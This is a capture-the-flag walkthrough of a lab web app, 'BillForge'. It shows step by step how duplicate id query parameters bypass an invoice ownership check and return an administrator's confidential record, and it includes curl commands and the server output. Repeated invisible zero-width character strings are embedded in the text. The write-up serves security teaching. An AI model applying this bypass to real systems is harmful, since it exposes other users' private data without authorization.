← Back to Writeups
CUSTOMMediumWeb

Lab 197 — BillForge — Authorization Bypass via HTTP Parameter Pollution

XESXOR9/2/20263 min read
#web#custom#medium#api_endpoint_discovery_via_js_#authorization_desync_via_dupli#http_parameter_pollution#idor_via_parameter_array_handl

Lab 197 — BillForge — Authorization Bypass via HTTP Parameter Pollution

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: api_endpoint_discovery_via_js_source, authorization_desync_via_duplicate_params, http_parameter_pollution, idor_via_parameter_array_handling

Summary

Walkthrough of the CUSTOM Web Lab 197 — BillForge — Authorization Bypass via HTTP Parameter Pollution. Task: Express.js invoicing platform with role-based access control on invoice API endpoint using query parameter id. Solution: HTTP Parameter Pollution — sending duplicate id params (?id=own&id=admin)

Description

BillForge is an invoicing platform used by small businesses to manage clients, create invoices, and track payments. The application enforces role-based access so users can only view their own invoices. Your goal is to access a confidential invoice belonging to the platform administrator that contains sensitive internal data. Pay close attention to how the application handles request parameters — not all parsing is created equal. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js invoicing application behind nginx enforces ownership checks on invoice viewing. The goal is to access the admin's confidential invoice (id=1) despite authorization controls. Credentials provided: user@test.com / password123.

Analysis

Reconnaissance

After logging in with the provided credentials, the user is assigned user_id=2 (Alex Rivera, Rivera Digital LLC). The stack is Express.js behind nginx/1.25.5 (BillForge v2.4.1).

The dashboard at / displays the user's invoices with IDs: 7, 8, 11, 13, 14. Invoice detail pages load at /invoices/view?id=<id>. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API Endpoint Discovery

Inspecting /js/invoice-view.js reveals the client-side fetch call:

javascript
fetch('/api/invoices/view?id=' + encodeURIComponent(invoiceId), {
  credentials: 'same-origin'
})

The API endpoint /api/invoices/view?id=<id> returns JSON with full invoice details and line items.

Authorization Testing

  • Own invoice: GET /api/invoices/view?id=13 → returns invoice data (user_id=2) ✓
  • Admin invoice: GET /api/invoices/view?id=1 → {"error":"Access denied: you do not own this invoice"} ✗ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server performs an ownership check comparing the authenticated user's ID against the invoice's user_id.

Vulnerability: HTTP Parameter Pollution (HPP)

In Express.js, when duplicate query parameters are sent (e.g., ?id=13&id=1), req.query.id becomes an array ["13", "1"]. The critical insight is that different layers of the application consume this array differently:

  1. Authorization middleware — checks req.query.id as a string or accesses the first element ("13", the user's own invoice) → authorization passes
  2. Database query layer — receives the array and uses the last element ("1", the admin's invoice) → returns admin data ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This desync between the authorization check and the data retrieval is the classic HPP vulnerability pattern.

Decoy Flag

The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — a common HackAdvisor honeypot pattern to trap automated scanners.

Solution

Step 1: Login and enumerate invoices

bash
# Login to get session cookie
curl -c cookies.txt -X POST 'https://TARGET/api/auth/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@test.com","password":"password123"}'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# List own invoices from dashboard
curl -b cookies.txt 'https://TARGET/api/invoices' | jq '.invoices[].id'
# Returns: 7, 8, 11, 13, 14

Step 2: Confirm authorization blocks direct access

bash
# Attempt to access admin's invoice directly
curl -b cookies.txt 'https://TARGET/api/invoices/view?id=1'
# {"error":"Access denied: you do not own this invoice"}

Step 3: HTTP Parameter Pollution bypass

bash
# Send duplicate id parameters: auth checks first (13=ours), DB queries last (1=admin's)
curl -b cookies.txt 'https://TARGET/api/invoices/view?id=13&id=1'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This returns the admin's confidential invoice:

json
{
  "invoice": {
    "id": 1,
    "user_id": 1,
    "invoice_number": "INV-2025-CONF-001",
    "status": "paid",
    "notes": "CONFIDENTIAL - INTERNAL AUDIT",
    "internal_notes": "CONFIDENTIAL - Q4 2024 Internal Reconciliation\nSecurity audit clearance code: FLAG{REDACTED}\nDo not distribute outside finance team.",
    "client_name": "ForgeStack Internal"
  }
}

Verification: Order matters

bash
# Reversed order: auth checks first (1=admin's) → blocked
curl -b cookies.txt 'https://TARGET/api/invoices/view?id=1&id=13'
# {"error":"Access denied: you do not own this invoice"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This confirms the HPP behavior: authorization uses the first parameter, the database uses the last. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering api_endpoint_discovery_via_js_source, authorization_desync_via_duplicate_params, http_parameter_pollution, idor_via_parameter_array_handling was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 197 — BillForge — Authorization Bypass via HTTP Parameter Pollution • Difficulty: Medium